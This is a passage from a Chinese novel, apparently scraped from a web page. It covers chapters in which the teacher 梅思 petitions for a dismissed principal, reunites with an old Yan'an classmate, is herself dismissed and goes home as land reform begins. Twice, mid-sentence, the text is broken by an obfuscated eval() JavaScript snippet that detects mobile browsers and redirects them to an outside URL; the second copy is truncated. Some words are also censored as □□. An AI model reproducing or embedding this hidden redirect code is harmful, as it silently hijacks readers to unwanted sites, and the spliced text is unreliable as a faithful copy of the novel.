梅思很有些伤感。 庄令粲笑着说:“没关系啊,我倒是无所谓,从前我当校长,现在当裁缝,都是凭自己的劳力吃饭,有什么好感慨的呢?难道就因为当过校长,便不能作裁缝了么?我如今照样过得好好的。” 梅思摇头:“可是这对您是不公正的,我觉得您应该回去当校长,您在这里二十年,对学校最熟悉不过。” 庄令粲含笑道:“梅思,时势是不固定的,总会有变化,当变化到来,我们唯有顺应,我作校长的时候,没有太严重的过失,现在作裁缝,也会是个好裁缝,无论如何,日子总要过下去,你不要太过为我担忧,过好你自己的生活。对了,我与书娴通信,钟坤还没有消息。” 说起钟坤,梅思便想起自己回来的时候,那一天在江边看到的运送战俘的驳船。 当天梅思在庄令粲这里吃了饭,又谈谈说说,这一个礼拜天很快便过去了,第二天梅思在学校里,继续上课,日子仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456543|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静。 又过了几天,与新同事也熟悉了,下午没有课的时候,大家比较闲,便开始谈天,三位新□□之中有两位是很健谈的,喝着茶水便讲起从前在部队里,当文化□□,随着解放军各处转战,那炮火纷飞的日子,多么的激动人心。 其她人纷纷表示仰慕:“你们都是勇敢的革命者,轰轰烈烈啊!” 教德育课的武铁军哈哈笑着说:“那时候感到,真的是没有辜负大好青春,不过如今不一样了,全国解放了,要‘刀枪入库,马放南山’,集中精力搞建设,所以便从部队来到地方,你们瞧吧,很快就要裁军了呢。” 小道消息说,中央已经开了会,解放军要大批复员回乡呢,所以当初首长找自己谈,问自己可不可以下地方,到江陵小学校当□□,自己没有太多犹豫,便“服从组织安排”,一个是因为,学校毕竟还是掌握在党的手里比较好,自己是党的人,可以在教育方面为党出力,另一个也是因为,当□□可以说是一个比较好的前途,等将来许多人复员转业,大家一起抢位置,未必有这么好的职位留给自己。 梅思笑了一笑:“这便是‘精兵简政’。” 武铁军猛地一拍大腿:“就是这样,当年为了应对抗战,必然要这样,如今虽然革命胜利了,建起了新中国,但是老传统不能丢,不能都在这里吃军队和行政的饭,总得有人去搞生产。梅先生,你对我们的党了解很多嘛。” 张宏远在两张办公桌之外,斜着眼睛往这边瞥了几眼,武□□,你还不知道这一位梅先生从前去过延安,你是哪一年参加革命的?她又是哪年过去的?若真讲论起来,只怕还是你的老前辈。 就这样过了五一劳动节,梅思实在忍耐不住,这一天晚上,在寄宿舍里和几位同僚说:“不如我们联名向政府提出请求,要庄校长回来吧。” 朱光屏登时一愣:“梅思,如今的关校长哪里不好么?” 张宏远也皱眉道:“虽然满口主义,不过我觉得这个人还行啊,对人不苛刻。” 抛开政治观点,关红英是个不错的人,不会故意为难人。 梅思摇头:“倒不是关校长有什么不好,而是庄校长本来没有什么过错啊,为什么要剥夺她的职位?她作校长,是很称职的。我们要她回来,并不等于就要关校长失业,关校长自己也说,现在新中国的建设,需要各种各样的人,有知识的人很可以找到自己的位置,那么组织给她重新安排一个职务,应该是不难的,她并不是一定要在这里当校长。” 梅思这几句话一说出来,庭院里登时静默了,一时间没有一个人说话,过了四五分钟,李秀第才说:“梅思,你的想法是好的,我其实也赞同你的意见,只是事情已经是这个样子,‘木已成舟’,我们如果去向政府要求请庄校长回来,先不说这是不是反对政府的决定,起码关校长倘若知道,会不会以为我们是对她不满,特为针对她?倘若给她这样猜疑,就很不好了。” 张宏远也很为难地说:“秀第的话有道理,我们并不是不想为庄校长出头,实在是这件事太难了,让人家都怎么想呢?况且庄校长现在也不是无路可走,她作裁缝,也能过得下去日子啊,倘若实在不成了,我们肯定想办法出力的。” 褚爱莲在旁边,不住地给张宏远使眼色。 朱光屏也说“很难办”,见大家都反对,梅思只得不再讲话。 她想着寄宿舍的这几个人是不成了,除了她们,自己在学校中最要好的就是刘慧坚,慧坚有胆有识,明天去找她商量一下,或许有办法,于是第二天中午,梅思特意带了午饭来,午间吃过了饭,便约刘慧坚到外面散步说话,和她提到这件事。 结果刘慧坚却也皱眉:“风险太大,也劝你三思,好在你是先问我,我和你说,不必问其她同僚,都不会参与的。当初命令刚传到学校,大家就曾经议论过的,都是有心无力,虽然同情庄校长,但要说有什么行动,却是难了,毕竟我们各人也是要吃饭啊。” 梅思望着她,慧坚啊,全没了当初找军管会请愿讨薪时的刚烈决绝。 梅思于是无话,看来这件事如果真的要做,只有靠自己了。 于是五月十六号礼拜二,她请了一天假,去了荆州市里,找到新成立的人民政府,便递交了请愿书,诉说庄令粲的事。 梅思正在与一位接待干部说着,忽然有人叫道:“黄菲,是你吗?真没想到能在这里遇到你!” 梅思蓦地回头:“啊,居然是你!” 51.第五十一章 故知 第五十一章 故知 “居然是你!”梅思惊讶的声音在房间内回绕。 只见面前一个年近三十岁的女同志,一身军装,上衣口袋里插了一支钢笔,腰间皮带上挂了一只小手枪,身姿矫健,两只眼睛炯炯有神,有一种英武锐气,飒爽风姿,是一个典型的中共女干部形象,她的面容仿佛是熟悉的,梅思留有印象,竟然就是熊晖。 “熊晖,你来到了荆州?” 那个人果然便是熊晖,她呵呵笑着快步走过来:“是啊,我现在在这里工作。” 一见她来了,屋子里的人都尊敬地说:“熊主任。” 熊晖朝其她人点了点头,打了个招呼,便拉着梅思到自己的办公室:“来来来,我们这边谈。” 二楼是熊晖的办公室,不大,里面凌乱地堆满了文件,熊晖“嗖”地拉过一把椅子:“快坐!” 又麻利地倒茶:“喝杯水,天气热啊。” 五月的湖北,已经热了起来。 然后熊晖便又拉了一把藤椅,坐在梅思的旁边:“真没想到能在这里见到你,当年你离开延安,大家都在说,你不知去了何方,老同学都很担心你,陕北那一片苍茫的高原,很难走得出去,可是你毕竟没有回来,我们都在猜,你究竟是真的出去了,还是……” 虽然她下面的话没有明言,不过梅思懂得她的意思,不由得便感叹了一句:“九死一生啊!” 差一点就死在了茫茫无际的黄土之中,之后的转折简直如同梦幻,若非这样的奇迹,自己便要如同鲁迅先生说的娜拉一般,不是回去,就是死亡,在那样的地方,想要堕落也不可能的。 熊晖上上下下仔细打量梅思,笑着说:“今天见到你,总算解决了这一桩悬案,从此便可以安心了,等我见到老同学,和她们说说。黄菲,你如今在荆州么?是做什么?” 梅思道:“我在江陵小学校当□□。” 熊晖笑着点头:“这样很好,很适合你,我一直觉得,你如果去当□□,会是一个好先生。” 梅思问:“方才听她们叫你‘主任’” 熊晖笑声爽朗:“哦,我在这里管行政的,不过很快就要结束军管,到那时我可能要随部队离开荆州,不知要给新中国建设的浪潮送到哪个地方去咯!黄菲,你今天来,是有什么事情么?” 熊晖干革命工作多年,在这里一见到老同学黄菲,便晓得她肯定是有问题需要解决,所以虽然很想叙一叙别来之情,毕竟两个人六七年没有见面,这是说的真实的时间,倘若从心理上来讲,仿佛分别了十几二十年一般,彼此之后的经历肯定有很大的差异,很想好好地说一说,不过在这样的情形之下,还是先谈工作比较好。 梅思点了点头:“我这次来,是为了江陵小学原本的校长,庄校长,几个月前她给免职了,可能是政府对她有些误会,虽然庄校长会与国民党的人往来,但那只是交际,她的政治立场是很中立的,事实上,她并不是很关心政治,感兴趣的只是教育,她是一个好校长,并不是说现在的校长不好,只是庄校长受到这样的对待,实在很有些不值得,我知道党一向是注重团结民主人士的,庄校长就是一个无党派的进步人士,同情劳苦大众。” 熊晖马上明白了:“你是希望庄校长能够复职?” 梅思点头:“是的。” 熊晖想了一想,道:“你说的这个人,我有印象,庄令粲,在江陵确实有一定的名声,不过她与国民党一些人往来颇为密切,对于解放战争,也曾经说过不好的话,所以党委会议才决定把她免职,这是集体的决议,很难更改的。她现在在做什么?有职业吗?” 不仅仅是集体决议难改变,也是因为现任江陵小学校长关红英,是一位老干部的妻子,有一定政治背景的,如果本来没有让她去,也就罢了,现在她在那里干得好好的,没听说有什么群众意见,忽然间要调动她离开,难免牵扯到人际关系,党内的人事啊,也是很复杂的。 如今的熊晖,已经是一个相当成熟的革命者,再不是当年那个单纯热情的女学生,现在的她,有很丰富的社会经验,考虑问题非常周全。 梅思道:“庄校长现在,在做缝纫。” 熊晖听了,便松了一口气:“那就好,还是有职业的,能够维持住自己的生活,其实劳动不分高低贵贱,当校长是为社会做贡献,做缝纫也是服务于社会,一样的嘛。” 如果那位昔日的庄校长如今生活无着,政府还是有责任要扶助的。 梅思一听,显然这件事熊晖无法援手,不由得一阵失望,不过依然是把那封请愿书递给了她:“虽然是这样,还是请你看一看,或者转给其她人。” 万一能够帮忙,庄校长就有了希望。 熊晖倒并没有推辞,含笑接过那个信封,随手就放在了桌面,对梅思说道:“黄菲,咱们今天可要好好聊一聊,当初你究竟是怎么走出去的?之后是回桂林了吗?怎么又到荆州来?这些年过得怎么样?” 梅思也是满怀的心事想要向人诉说,她一边喝着水,一边便讲起自己从离开延安,这些年的经历,陕北的高原啊,真的是如同一个迷宫一般,又仿佛一个巨大的坟墓,自己是在濒临死亡的时候,意外找到了水,这才重新得回了生命,之后从平乐到桂林,又从桂林到凌云,抗战胜利后,来到了江陵,一直在这里当□□。 熊晖认真地听着她叙说,最后咯咯地乐:“黄菲啊,你这也算是‘中隐隐于市’了。” 当年那样轰轰烈烈,如今在一个小县城里,当小学□□,听黄菲的说法,她的日子过得很平静,熊晖是个很敏锐的人,虽然黄菲并没有刻意渲染,不过从她平淡的话语之中,熊晖能够得出一个印象,似乎自己的这位老同学,已经置身于时代的大潮之外,仿佛古时候的隐士,远离人世的喧嚣纷扰,虽然人仍然是在社会之中,但却好像一个局外人。 梅思也噗嗤一声笑了出来,真的给熊晖说着了,从前在桂林的百货公司做销售,纵然有些名气,但实在太过烦扰,小学□□的生涯虽然清苦,却正适合修养身心,在这里四年时间,自己的精神得到了恢复。 然后梅思便问熊晖:“你们这些年都怎么样?” 熊晖便谈起延安的□□,终究是坚持了过来,乌云之后便是明朗的天气,这以后革命形势逐渐顺利,抗战之中,她给派到晋察冀,解放战争开始后,她随着军队南下,如今到了荆州,两个人才得以重逢,又说起了从前延安的生活,延安的小米饭,延安的运动会,排球赛,篮球赛,梅思想起了进入女大第一年,运动会上自己参加了五百米跑,起初是在最后一名,自己涨红了脸,奋起直追拼命地跑,最后终于跑赢了陈露云。 听她说到这件事,熊晖哈哈地笑:“要说露云,你现在若是见到了她,可真要认不出来呢,我和她还有联系,她现在在广东,等我写信告诉她。” 然后又说到湖北见闻,熊晖乐着道:“你能想到吗?我们在街头做宣传,有当地的大姐问我们宣传队的女同志,‘你们这样能说会道,倘若你们的老板要和你们吵架,吵不赢你们的吧?’起初听不懂是什么意思,以为是和上级领导吵架,后来才知道,原来这里的土话,‘老板’便是‘丈夫’的意思。” 梅思不由得便笑:“那位大姐大概是嘉鱼人。” 《从军日记》,谢冰莹行军到了嘉鱼,那里三寸金莲的老婆婆看到她的天足,便为她担忧:“脚这样大,岂不是要和‘老板’穿错鞋子吗?” 这种顾虑倒也是很有趣的。 两个人谈说了很久,到了中午,熊晖要请梅思吃饭,梅思见这两个小时的闲谈,中间已经有许多人找她请示汇报工作,晓得熊晖是很忙的,若是自己留在这里吃饭,午饭时间只怕要延长,会更耽搁她的时间,便说“来日方长”,下一次见面再好好叙旧,熊晖爽快地答应:“改天我去江陵看你。” 梅思便告辞回去,自去街头吃了午餐,下午又在荆州闲走了一回,说来遗憾,自己来荆州四年,大半都是在江陵,少有来荆州,以至于这样一个名城,竟然没有好好地看过,这一回反正已经来了,纵然庄校长的事难以用力,毕竟看到了老同学,也算是有所收获,把原本的失落便冲淡了一些,梅思就有心情在这荆州城里观览。 于是她雇了一辆黄包车,一路穿过大街小巷,遇到有意思的地方,便下车来看一看,偏偏那黄包车夫是个很会说话的,对本地的掌故颇为 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关红英似乎也有些为难,沉着脸道:“梅先生,在我本人而言,也是不愿意这样的,我很尊重你,你是个好先生,可是现在要纯洁□□队伍,既往曾经有历史问题的,都不能再任用,你曾经教过三民主义,是吧?” 梅思下意识点点头,然而马上辩白道:“那是学校的安排,原本的孟先生病倒了,这门课按照政府规定,不能不开的,便让我暂代。” 那个时候自己也是很不情愿的,曾经去找过庄校长:“校长,实在有些为难,能不能换别人来教?我哪怕另外多代两门课,都是可以的,只是不适合教这个。” 当时庄校长蹙眉道:“别的课,其她先生已经教熟了,临时调换也有些麻烦,你便先辛苦一下,等以后有了机会,我再重新安排,都只是为了职业罢了,不必想太多。” 梅思无法,只得退了出来,回到□□办公室,晓得这件事的同事纷纷安慰她: “总要有人教的,例行公事罢了,你就随便混混,小孩子懂得什么呢?” 刘慧坚打着哈哈说:“‘人生如戏,戏如人生’,何必往心里去?都只是为了穿衣吃饭。” 于是梅思便只好去讲授这一门课,她其实也知道,庄校长虽然说的是“暂代”,然而就好像赤壁之战孙权对周瑜说的,“卿便在前发,孤当续发人众,多载资粮,为卿后援”,大概就是一直代下去,所以便也想了法子,课堂上便将“三民主义”一带而过,“忠党爱国”更是不用提了,传统的“礼义廉耻”她也颇有一点悚然,多数便是讲友爱礼貌,勤勉节俭,无论是哪个党上场,这些都是并无问题的,哪知道如今却给人提了出来,揪住不放。 梅思头脑飞快打转,脱口问道:“是不是有人在背后说了些什么?” 自己在同僚之中,虽然关系向来不错,不过也难免有人在某些事情上看不惯吧,谁能够做到与人毫无芥蒂呢?也许就有人议论自己,讲一些不好的话。 听了她这句问话,关红英的面色更加难看,她从桌面上的烟盒里抽出一支纸烟,点着火放在嘴唇之间用力吸着,重重地吐出来:“梅先生,我知道你曾经去荆州,要求把庄校长换回来……” 梅思闻言,心头登时咯噔一声,两眼紧盯住关红英,难道那件事终究走漏了风声?然而当时自己与之商议的,只有区区几个人,都是平素很亲近的,以为不至于出卖自己,所以关红英究竟是怎样晓得的呢? 关红英勉强笑了笑,平静地继续说:“不过请你相信,那件事与这件事之间并无关系,我知道你并不是针对我个人,在我本人而言,是愿意让你一直留在学校的,然而大形势是如此,上级已经做出决定,不是我能够挽回的,所以只能很遗憾地请你离开。不过党还是讲人情的,这样突然的决定,要你马上便应对也难,龙王庙的寄宿舍,你暂时还可以居住,到八月下旬学校重新开课,新的老师可能要住进来,你再搬出,有这样几十天的时间,足够你转圜。” 梅思听到这里,便知道事情再不会有改变,她咬了咬牙,很坚决地说:“谢谢学校的关爱,不过不必了,我很快就会搬出去。” 然后霍然站起,转身便走了出去。 关红英看着她迅速离去的背影,只能继续苦笑,烟抽得更凶了。 52.第五十二章 离别江陵 第五十二章 离别江陵 梅思给解聘的事,很快便给同事们知道了,纷纷为她惋惜: “何苦嘛,不过是讲个公民课,什么大不了,也值得这样兴师动众?” “都只是为了饭碗,谁把那些当真呢?” “从前教授过这门课的人多了,莫非都要辞退?” 张宏远坐在一旁,暗沉着脸,一句话也没有说,多可笑啊,自己是最反感共产党的,然而到现在都好好的,倒是梅思,一向与世无争,两党政治上,典型的置身事外,结果给辞掉了。 刘慧坚蹙着眉头问:“梅思,你先不要急,或者去荆州问一问,有熟人么?找一找门路,看能不能留下来。” 梅思望了望她,自己倒是认得熊晖,不知能不能管用。 晚上回到寄宿舍,同住的几个人都涌到她的房间,白天当着众人不方便讲的话,这时候都说了出来。 李秀第一叠声地抱不平:“哎哟哟,这真是‘闭门家中坐,祸从天上来’,怎么突然之间,就要赶人走了?我听说现在还不比从前,从前若是请托关系,还好找到差事做,如今是人情都不行了,到处都要‘审查’,你如今走了,到哪里去找下一碗饭吃?” 梅思给她们倒了水,微微冷笑:“也没什么,‘此处不留人,自有留人处’,我就不信凭我这个人,便找不到一个职业,不能养活我自己。” 梅思只觉得一口气堵在心口窝,自己实在不需要这样的施舍,有什么意思呢?剥夺了自己的工作,又展现余晖般的善意关切,难道自己还要表示感激吗?别说自己本来是有办法的,即使没有梅林,也可以回老家去,即使别无去处,也不愿接受这样恩惠,太让人屈辱了。 褚爱莲连连点头:“是啊,我相信梅思,她是有本事的,凡事有主张,这里待不了又能怎样?中国这么大,总有个去处,纵然是‘处处不留人’……她总能找到办法。” 张宏远在旁边差一点翻起白眼,“此处不留爷,自有留爷处。处处不留爷,爷去投八路”吗?当年在这一片地方,许多人都在念这个,然而现在还往哪里投?投山里的国军残余和土匪的混编吗?那些人很显然没有出路,想要“星星之火可以燎原”,这十年只怕是不行的,这一波造反的大潮,已经是退去了。 朱光屏思量着,稳重地说:“或者回家乡去,也不错,梅思家里不是还有一些田地吗?纵然是土改,总能留下几亩,自耕自食,哪怕不是长远之计,起码能应付一时。” “耕读传家”,说起来倒是很文雅的,不过倘若设想梅思真的一辈子都住在乡村,土里刨食,虽然“劳动最光荣”,然而想一想实在有些凄凉,就好像“明珠暗投”,可叹她这样一个人,竟然就这么给埋没了,简直是糟蹋。 梅思坐在床板上,慢慢地喝着水,自己其实也是这么个想法,先回家里去,刚好前不久接到传芳姐姐的信,说哥哥的病更重了,自己回去了,或者还可以照应一下。 张宏远这时候终于说:“反正新朝小心做人吧,唉,我们将来也不知会如何。” 梅思蓦地便想到,去年九月里,报纸上胡风的出名长诗,《时间开始了》。 又过了两天,这一个学期便结束,学校开始放暑假,梅思在寄宿舍里抓紧整理自己的物品,不过半天时间,便打好了背包,有棱有角,锅具也用线绳串了起来,几个陶瓷杯盘不方便带走,便留在房间里。 一切都打点好后,她走出房间,绕着菜地走了一圈,架子上的黄瓜累累垂挂,青绿色很是鲜嫩,配上一旁紫色的茄子,颜色非常好看,那几只鸡在菜圃外低头觅食,忽然间便忽闪着翅膀扑腾起来,这些也已经都分送了李秀第她们,从此之后便再见不到了。 这个时候,朱光屏从房间里出来,走到她身边,道:“这便要走么?” 梅思点了点头:“今天下午的车票。” 朱光屏叹息道:“或者你再多住几天吧,校长也说了,不必那样急,这几天我们多聚聚,以后再相见,不知何年何月了。” 梅思笑了一笑:“早走晚走,都是要走,纵然是多住十天半月,又有什么意思呢?不过是徒增伤感,离开的时候愈发难了,倒不如索性干脆利落地走,快刀斩乱麻。” 这便是“抽刀断水水更流”,牵连不断有何益处呢? 于是下午一点多,梅思背了背包,背包后面是锅和饭盒,辞别了李秀第褚爱莲几个人,在炽热的午后白光之中,离开龙王庙,去往荆州搭乘火车。 梅思离开的第二天,关红英得知了消息,白天倒是没什么,到了晚上,长夜无人,四周静悄悄,各种感想便都从暗处悄悄地冒出头来。 真的很让人郁闷啊,这件事情,偏偏一定要由自己来通知梅思,而梅思曾经去荆州为庄令粲申诉,把这两件事联系在一起,可会让人怎么想呢?只是让别人来代替告知又不行,反而更加糟糕了,显得鬼祟,仿佛自己连梅思的面都不敢见了,让人更加怀疑。 事情其实是,自己在荆州的朋友看到一份转来的请愿书,内容是希望能够让庄令粲回来做校长,书名是梅思,便告诉了自己,自己虽然起初心头不很爽快,不过没多久便丢开了,毕竟学校里也有许多事情,自己作为一校之长,哪有空总是纠结这种事?况且梅思在请愿信里面也再三说了,不是自己不好,而是这个决定对庄令粲不公正,自己不是小肚鸡肠的人,干革命这么多年,生命尚且置之度外,更何况是个区区校长的职务?不要说梅思的申诉没能获得批准,即使将自己调转,又能怎样?换个地方照样为新中国做工作。 哪知后来情势会变成这样,之前就调查过全部□□的档案,到了六月底,上级文件发过来,江陵小学校需要辞退梅思,这让自己也始料不及,但是上级的指令是必须执行的,所以过了几天,自己只能告知梅思。 当时看到梅思脸上的神情,就知道她在怀疑什么,关红英瞬间有一种莫名的愤怒,真的不是自己啊,刹那就想要仔细解释的,然而终究是只说了两句就罢了,何必多说呢?更加好像心虚一样,自己并没有做过,何苦要再三辩解?实在很是卑微,仿佛一个被审判的人,自己的清白,梅思肯相信便相信,不肯相信也无所谓,反正自己问心无愧,这是时代大环境使然,单纯的个人是无能为力的,只能顺应。 事实上,关红英真的很为梅思的前途担忧,在关红英看来,□□是相当适合梅思的职业,在这个职位上,梅思可以过很平静的生活,然而终究是不能够,据说她是回了家乡了,她的阶级背景,自己也知道,地主家庭,家里现在还有许多土地,据自己所知,广西的土改一时还没有开展,不过应该也快了,分了田地之后,不知她要怎样生活,当一个乡村小学的□□吗?那比起县立小学,可是有很大的差别。 不过这些都不是自己能够为梅思设想的,在社会的大潮之中,各人只能面对自己的命运。 关红英端起面前的黄酒,仰起头一饮而尽。 七月九号,梅思回到平乐,傅传芳看到了她,又惊又喜:“妹妹,你怎么回来了?事先怎么不捎个信来?” 梅思笑着说:“是突然决定的,本来也想写信的,不过想着写信还不如我自己回来的快,只怕我到了家,信还没有到,就索性不写了。” 傅传芳点头:“也确实像你说的这样。” 梅思便问:“姐姐,家里最近都好吗?你身体好吗?哥哥怎么样?” 傅传芳脸上又布满愁云:“我们倒是都还好,只是你哥哥……唉,你进去看看就知道了。” 梅思一听,赶忙快步往里面走,到了里面,只见宁妈妈正拿了一个脸盆往外面走,梅思忙问:“宁妈妈好?” 宁凤姐胡乱点头:“好好,我是还好,只是大少爷他……刚刚又吐血了。” 梅思往盆子里一看,果然清水之中有隐约的血色,登时心头一沉,哥哥本来有肺病,又有胃病,常年胃痛,总是吃不下饭,这便让身体更差了,这一回如此吐血,只怕是胃里病得更加厉害。 她赶快进房间探望哥哥,只见哥哥躺在床上,面色蜡黄,那神情气色就如同母亲亡故前一样。 梅思一见哥哥这个样子,登时眼眶一热,泪水便要流出来,她勉力抑制住眼泪,强笑着说:“哥哥,我回来了。” 瑞成闭着眼睛正在养神,听到有人呼唤,慢慢睁开眼睛,仔细一看竟然是妹妹,登时吃了一惊:“怎么突然回来?那边可有什么变故?” 之前妹妹离开,难舍难分,仿佛诀别一样,怎么不过半年时间,就回家里来了? 梅思道:“没什么,现在学校放暑假,我在那里反正也闲着无事,便回来看看。” 瑞成点点头:“你回来也好,在家里住一阵,开学了再过去。” 傅传芳这时候也想到,妹妹为什么突然之间回来家里?如果早要如此,很可以提前写信说明,如今却是意想不到地归来,只怕有什么缘故。 于是离开瑞成的病床,外面小厅之中两个人悄悄地说话,傅传芳便问:“妹妹,学校那边当真没有什么事么?” 梅思到了这个时候也不须再隐瞒,便如实相告:“学校辞退了我,说我之前教过三民主义,政治不纯洁。” 傅传芳登时眉头深锁:“怎么竟然会有这样的事!” 简直大水冲了龙王庙啊,妹妹纵然离了延安,这些年没看她往国民党那边靠,只为教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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七月中旬的一天,褚爱莲正坐在房间里看书,如今暑假了,李秀第与朱光屏各自回家里去,自己的丈夫今天出门去看望朋友,因此这寄宿舍里,此时就只有自己一个人,周围一片静悄悄,倒是难得的悠闲,正适合读书。 只是读着读着,褚爱莲抬起头来望向窗外,不由得又想起了梅思。 从前梅思是长在这里的,寒假暑假都不回家,只因为有她在,无论什么时候回来寄宿舍,都不会感觉冷清,仿佛总有一个人是守在这里的,傍晚夕阳之下,和她一起逗逗小鸡,很能打发时间,到了礼拜天,大家在一起谈谈小说,喝喝茶,何等的惬意。 梅思是个好主人,很会招待客人,有她做东道,这寄宿舍里的茶会便很是有声有色,虽然与上流社会的沙龙不能相比,但在小市民之中,也很是有意思的了,然而如今,她却走了,虽然不过一周多时间,却让人感到仿佛已经分别了许久,在这样一个热火朝天的时代,像是自己这样的人,却感到一种莫名的寂寥。 褚爱莲正在发愣,忽然外面脚步声响起,有人进来了,不多时,便听到拍门声,褚爱莲隔着门问了一声:“是谁?” 一个女子的声音答道:“我是熊晖,黄菲的朋友,今天特为来看她的。” 褚爱莲脑子里迅速过了一遍:“黄菲?没有这个人。” 外面的人显然很是诧异:“没有么?怎么会!她明明说是住在这里的呀,这里是县立小学校□□的寄宿舍,对吧?” 褚爱莲懒懒地答道:“是啊,不然又怎么?只是并没有你说的这个人。啊,你等一等,你要找的莫非是梅先生?” 一想到这个,褚爱莲“嗖”地一下站起身,风一般跑过去开了门,往外面一看,只见门前站着一个身穿军装的青年女子,浓眉大眼,精神饱满,一看就是中共的女干部。 褚爱莲却未曾料到是这样一个人,心头轻轻咯噔一声,不过转念一想,也无所谓,便笑着请对方进来:“先请进,喝杯水吧。” 熊晖随着她进入室内,寒暄两句,落座倒茶,然而此时熊晖哪有心情喝水?端着茶杯便问她:“黄菲真的不在这里么?同志你是……哦褚同志,方才说的梅先生又是谁呢?” 褚爱莲平稳了一下心情,问道:“熊同志问的黄菲,是哪里人?” “广西桂林人。” “她说是住在这里,在小学校里教书么?” “对呀对呀!” “那么十有八九便是了,我们这里没有黄先生,倒是有一位梅先生,也是桂林来的,在这边几年了。” 又一问年纪,大略相符,尤其两边都对得上的,是黄、梅二人都去过延安,熊晖一拍大腿:“那么就是了,这个家伙,改了名字上一次也不告诉我。褚同志,她现在去了哪里?出去逛街了么?她但凡出门,多是去书店,我只到本地书店里去找她。” 褚爱莲刹那间胸中涌起一种强烈的荒诞感:“不是的,她给学校辞退,前几天已经回去老家了。” “啊?!!”熊晖不由得瞪大了双眼。 53.第五十三章 熟悉又陌生的朋友 第五十三章 熟悉又陌生的朋友 梅思回到家中不多久,便在后园开了一小块菜地种菜。 平乐县城内的这一座老宅,到这时已经很是荒凉,原本三进的院落,二十几间房屋,如今只有三间住着人,其余的房子都空荡荡,门上挂了大锁,庭院里自然也荒芜了,后花园原本有许多花草,这一阵都无人打理,门前阶下的大花盆,花木也少有人记得去浇水,多数枯干了,梅思每一次从前门进来,一路走过,望着这样一幅衰败的景象,纵然对黄老爷的家本来没有太多感情,心头也不由得隐隐凄凉。 倘若给人知道了自己此时的情绪,可能要给批评是“阶级觉悟不高”吧,与“出身的剥削阶级还没有彻底划清界限”,毕竟一个土豪恶霸的宅子破败了,有什么可伤感的?不破坏旧的世界,怎么建设新中国?不过梅思依然是感到一种难言的怅惘。 纵然没有太多温情可言,纵然黄老爷冷酷无情,然而这毕竟是自己生长的地方,毕竟还有母亲的爱,兄姊同胞手足情,站在母亲的庭院里,就想到了母亲的关爱,而如今,这里的野草也长起来了,屈指计算一下,母亲过世已经半年多了,而距离这一家的主人仓皇逃亡,还不到一年时间,宅院就已经荒废如斯,时光带给人世的变化,何其迅猛快速,豪强的离去,也带走了旧的繁华气象,这老宅便因此而失去了生命力,枯槁了生机,虽然晓得其实不必去怜惜,然而胸中的复杂情绪总是难以驱散。 梅思晓得自己有一点好像张爱玲,对于旧家庭的腐朽残酷十分痛恨,然而与此却也有一种割不断的联系,倒也并不是留恋,只是人或许总是难以切断自己的出身,那毕竟已经是生命的一部分,过往的一切,深深融入血脉之中。 就这样便到了这一年的冬天,十二月里,开始了镇反,也就是在这个时候,土地改革革到了梅思的家中,虽然早已料到会有这样一天,然而当事情真的到来,还是让人感到很是震惊。 广西的土改,是先在四个专区进行尝试,桂林、柳州、容县、平乐,梅思的故乡有幸四占其一,面对土改工作组发出的限期搬迁的通知,傅传芳与宁凤姐自然不必说,连连跌脚,即使是梅思,想到马上就要搬出原本一直居住的房屋,即使知道本该如此,却也感到十分难过。 于是一家人便收拾物品,把衣服被褥挪到新的住处,是十分狭窄的三间房屋,原本是下人房,宁妈妈倒是不必挪了,工作组把她一直住的那间房分给了她,只是三位原本的主人境遇差别极大,黄瑞成的拳头无力地捶着床头:“革命,这就是革命的结果!这就是均贫富!” 梅思知道他还有一句话没有说出来,“其实就是明抢!” 傅传芳叹道:“你不要抱怨了,工作组已经说了,因为我们家里都是女人,已经格外宽大。” 最起码没有杀人。 黄家在本地,那是有名的,纵然还称不上是作恶多端,最起码也是为富不仁,相当的刻薄冷酷,因此很是为人所憎恶,从前面对黄皓的权势,大家敢怒不敢言,当面还要奉承,如今时势变了,穷苦人扬眉吐气,那要是发泄起来,也是很可怕的。 瑞成一向深居内宅养病,外间的新闻很多都不知道,傅传芳可是晓得的,平乐有几家地主,家产还不及黄家,民愤也没有这样大,都给处决了,因此黄家在这样的风暴之中竟然没有死人,全家平安地搬迁,实在已经很是幸运。 梅思幽幽地说:“当年那些给黄老爷交高利贷,赔了地契给他的人,心情大约也是一般无二。” 更别说还霸占人身,那个给黄皓强占的女孩子已经在县政府把他告下了。 或许也是想到父亲昔日在时,每年趁着青黄不接,把余粮放高利贷,利息有时候甚至把本金翻了一倍,瑞成虽然仍是闷闷的,面色隐隐有怒色,却不再言语,回味着妻子方才的话,“我们家里都是女人”,忽然间又有所不甘,自己莫非也给划入了女人一类?又或者更糟糕,看自己病成这个样子,干脆把自己当成是死人,也就不必向着自己复仇了。 回过头来背着瑞成,傅传芳对梅思叹道:“‘积善之家有余庆,积不善之家有余殃’,如今差一点便落到我们头上。” 梅思暗暗点头,这是中国的古训,历史上许多的例子,倘若是外国人的小说,便是《双城记》。 土地改革虽说是正义的,毕竟有人会伤心,而同时而来的镇反,则是让人心惊肉跳,傅传芳这一向经历了许多变故,已经很有一点“风声鹤唳”,到这时听到无线电里面整天讲“打得稳、打得准、打得狠”,纵然她前面半生都是富家少奶奶,很涉及不到政治,心中却也不由得有一点发毛,悄悄地便问梅思:“妹妹,会怎么样?” 梅思安慰她:“姐姐,我们安安静静地过,不干我们的事。” 与此同时,江陵县城里,褚爱莲则是等到张宏远这一天出了门,便闩了房门,从箱子底拿出一封信来,抽出信纸看了又看,终于投入火盆之中,看着那纸张迅速为火苗吞噬,卷曲变黑,最终化作了灰。 